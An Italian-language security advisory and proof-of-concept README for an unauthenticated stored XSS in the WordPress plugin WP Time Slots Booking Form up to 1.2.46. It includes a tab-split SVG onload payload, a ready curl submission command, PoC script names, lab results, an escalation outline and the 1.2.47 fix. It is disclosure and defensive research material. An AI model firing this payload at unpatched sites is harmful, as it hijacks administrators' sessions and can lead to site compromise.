
CVE-2026-40791: XSS memorizzato non autenticato in WP Time Slots Booking Form <= 1.2.46
Ho trovato una XSS memorizzata non autenticata nel plugin WordPress WP Time Slots Booking Form. Una prenotazione pubblica controlla parte del valore dello slot orario memorizzato. Il plugin successivamente stampa quel valore nella pagina degli ordini di prenotazione dell'amministratore senza eseguire l'escape.
Il trucco è semplice: il plugin divide la stringa dell'appuntamento inviata sugli spazi letterali, ma HTML tratta una tabulazione come spazio tra un nome di tag e un attributo. Quindi 8:<svg[TAB]onload=...> sopravvive al parser del plugin come valore dello slot, per poi diventare markup reale quando l'amministratore apre l'elenco delle prenotazioni.
| CVE | CVE-2026-40791 |
| Plugin | WP Time Slots Booking Form |
| Slug | wp-time-slots-booking-form |
| Versione affetta | <= 1.2.46 |
| Riparata | 1.2.47 |
| Classe di bug | XSS memorizzata non autenticata (CWE-79) |
| Impatto | Prenotazione pubblica -> JavaScript nella sessione admin wp-admin |
| CVSS | 7.2 Alta (Wordfence), 7.1 (Patchstack) |
| Crediti | Daniel Wade |
Il modulo di prenotazione pubblico accetta questo campo:
fieldname1_1=2026-04-15 8:<svg[TAB]onload=alert(document.cookie)> 1 0 0 0 0 0 0
Il plugin lo analizza così:
$item_split = explode(' ', $app_item_text);
...
'slot' => $item_split[1],
Poiché il separatore è una tabulazione, non uno spazio letterale, item_split[1] diventa:
8:<svg onload=alert(document.cookie)>
Questo valore dello slot viene serializzato nella prenotazione. Quando un amministratore apre gli Ordini di Prenotazione, la versione 1.2.46 lo stampa qui:
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput
Nessun escape. L'onload dell'SVG si attiva nella pagina admin.
Non si tratta solo di "posso leggere il cookie admin?" I cookie di autenticazione moderni di WordPress sono normalmente HttpOnly, quindi document.cookie potrebbe non esporre il vero cookie wordpress_sec_*. La parte importante è che lo script viene eseguito in una pagina autenticata di origine admin. Può recuperare pagine admin same-origin, leggere nonce esposti e inviare richieste admin autenticate dal browser della vittima.
Il flusso vulnerabile:
POST non autenticato
-> fieldname1_1
-> extract_appointments()
-> explode(' ', $input)[1]
-> $apps[]['slot']
-> serialize()
-> wp_cptslotsbk_messages.posted_data
-> unserialize()
-> badge prenotazione Ordini di Prenotazione
-> output HTML non escapato
Il parser assume che lo slot orario sia solo testo. Non lo è. È input dell'attaccante che successivamente finisce in un contesto HTML.
Il sink vulnerabile si trova in cp-admin-int-message-list.inc.php:
$appts .= '<div class="ahb-appointment-badge">' .
'<span class="dashicons dashicons-clock"></span>' .
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput
Quel phpcs:ignore WordPress.Security.EscapeOutput è l'intera storia in una riga. L'avviso di escape è stato soppresso dove venivano stampati dati di prenotazione controllati dall'attaccante.
La forma del payload:
8:<svg[TAB]onload=alert(document.cookie)>
Perché funziona:
PHP explode(' ', ...)
"8:<svg<TAB>onload=...>" rimane un token
Parser HTML del browser
<svg<TAB>onload=...> diventa <svg onload=...>
Il parser dello slot ottiene il valore che si aspetta. Il browser ottiene il tag che sa come eseguire.
PowerShell:
.\poc\reproduce.ps1 -Target "http://127.0.0.1" -PageId 2
Bash:
./poc/reproduce.sh "http://127.0.0.1" 2
curl manuale:
TAB=$'\t'
TARGET="http://127.0.0.1"
PAGE_ID="2"
curl -i -sS "$TARGET/?page_id=$PAGE_ID" \
--data-urlencode "cp_tslotsbooking_pform_process=1" \
--data-urlencode "cp_pform_psequence=_1" \
--data-urlencode "cp_tslotsbooking_id=1" \
--data-urlencode "fieldname1_1=2026-04-15 8:<svg${TAB}onload=alert(document.cookie)> 1 0 0 0 0 0 0" \
--data-urlencode "fieldname2_1=John Doe" \
--data-urlencode "[email protected]" \
--data-urlencode "fieldname4_1=1234567890" \
--data-urlencode "cp_ref_page=$TARGET/?page_id=$PAGE_ID" \
--data-urlencode "form_structure_1=" \
--data-urlencode "refpage_1=" \
--data-urlencode "cp_tslotsbooking_pform_status="
Risultato previsto:
HTTP/1.1 302 Found
Quindi accedi come amministratore e apri:
WP Time Slots Booking Form -> Booking Orders
Il payload viene eseguito quando la riga di prenotazione memorizzata viene visualizzata.
Ho validato l'intera catena in un laboratorio WordPress locale usa e getta:
PHP 8.3.31 per Windows
MariaDB 11.4.12 su 127.0.0.1
WordPress
WP Time Slots Booking Form 1.2.46
CAPTCHA disabilitato sul modulo 1
Pagina pubblica con [CP_TIME_SLOTS_BOOKING id="1"]
Il PoC PowerShell ha inviato correttamente:
Stato HTTP: 302
Il payload è finito in wp_cptslotsbk_messages.posted_data:
slot";s:69:"8:<svg\tonload=document.body.setAttribute('data-cve40791','executed')>"
Headless Chrome ha poi effettuato l'accesso come amministratore, aperto Ordini di Prenotazione e visto il marker impostato dal gestore SVG memorizzato:
ADMIN_XSS_EXECUTED
Ho anche testato le stesse righe dannose memorizzate dopo aver sostituito il plugin con 1.2.47. La pagina admin ha visualizzato il payload come testo escapato:
04/15/2026 8:<svg onload=...>
Nessun marker attivato:
PATCHED_NO_XSS_EXECUTION
C'è anche un piccolo controllo di validità del rendering locale:
powershell -NoProfile -ExecutionPolicy Bypass -File .\lab\validate-render.ps1
Verifica le due parti meccaniche senza un'installazione completa di WordPress:
Controllo parser OK: la divisione per spazio letterale preserva l'SVG con tabulazione nell'indice 1 dello slot.
Controllo browser OK: l'SVG non quotato con tabulazione separata onload eseguito nell'HTML renderizzato.
L'attaccante non ha bisogno di un account. L'attaccante invia una prenotazione pubblica e aspetta che un amministratore visualizzi Ordini di Prenotazione.
Una volta che l'amministratore visualizza quella pagina, il JavaScript dell'attaccante viene eseguito all'interno dell'origine WordPress dell'amministratore. Un vero attaccante di solito non si fermerebbe a alert(document.cookie). Userebbe il browser dell'amministratore come amministratore:
recuperare pagine admin
-> leggere nonce dall'HTML
-> inviare POST admin autenticati
-> modificare lo stato del sito
A seconda delle capacità dell'amministratore e della configurazione del sito, ciò può significare creare utenti, modificare le impostazioni del plugin, cambiare le destinazioni delle notifiche, leggere dati di prenotazione/clienti o escalare verso la compromissione totale del sito tramite funzionalità del plugin/tema.
La versione 1.2.47 esegue l'escape dello slot memorizzato prima di costruire il badge admin:
- ' '.$posted_data["apps"][$k]["slot"].'</span>'
+ ' '.esc_html($posted_data["apps"][$k]["slot"]).'</span>'
Questo corregge il sink. Anche una sanitizzazione anticipata sarebbe ragionevole, ma il confine di sicurezza è il contesto di output HTML nella pagina admin.
poc/
reproduce.ps1 # Invio prenotazione non autenticato PowerShell
reproduce.sh # Invio prenotazione non autenticato Bash/curl
lab/
render-check.html # Minimo fixture di rendering vulnerabile
validate-render.ps1 # Controllo di validità parser + esecuzione browser
README.md
## Cronologia
| Data | Evento |
|---|---|
| 2026-03-24 | Segnalato a Patchstack |
| 2026-04-13 | Patch validata |
| 2026-04-23 | Wordfence ha pubblicato advisory |
| 2026-04-24 | Patchstack ha pubblicato advisory |
| 2026-04-30 | Wordfence ultimo aggiornamento |
## Risorse
* Advisory Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-time-slots-booking-form/wp-time-slots-booking-form-1246-unauthenticated-stored-cross-site-scripting
* Voce Patchstack: https://patchstack.com/database/vulnerability/wp-time-slots-booking-form/wordpress-wp-time-slots-booking-form-plugin-1-2-46-cross-site-scripting-xss-vulnerability
* Plugin WordPress: https://wordpress.org/plugins/wp-time-slots-booking-form/
* Sorgente cookie auth WordPress: https://developer.wordpress.org/reference/functions/wp_set_auth_cookie/
* Sorgente vulnerabile: https://plugins.svn.wordpress.org/wp-time-slots-booking-form/tags/1.2.46/
* Sorgente corretta: https://plugins.svn.wordpress.org/wp-time-slots-booking-form/tags/1.2.47/
> **Dichiarazione di non responsabilità:** Questo PoC è pubblicato per ricerca difensiva e verifica dopo la disponibilità della patch. Non utilizzarlo su sistemi di cui non si possieda o non si abbia esplicita autorizzazione per testare.
*CVE-2026-40791 - Corretto in WP Time Slots Booking Form 1.2.47. Versione affetta: 1.2.46 e precedenti.*
*Daniel Wade - [GitHub](https://github.com/Rat5ak) - [Twitter/X](https://x.com/Nadsec11) - [Bluesky](https://bsky.app/profile/nadsec.online) - [Mastodon](https://cyberplace.social/@Nadsec) - [Medium](https://medium.com/@Nadsec) - [nadsec.online](https://nadsec.online)*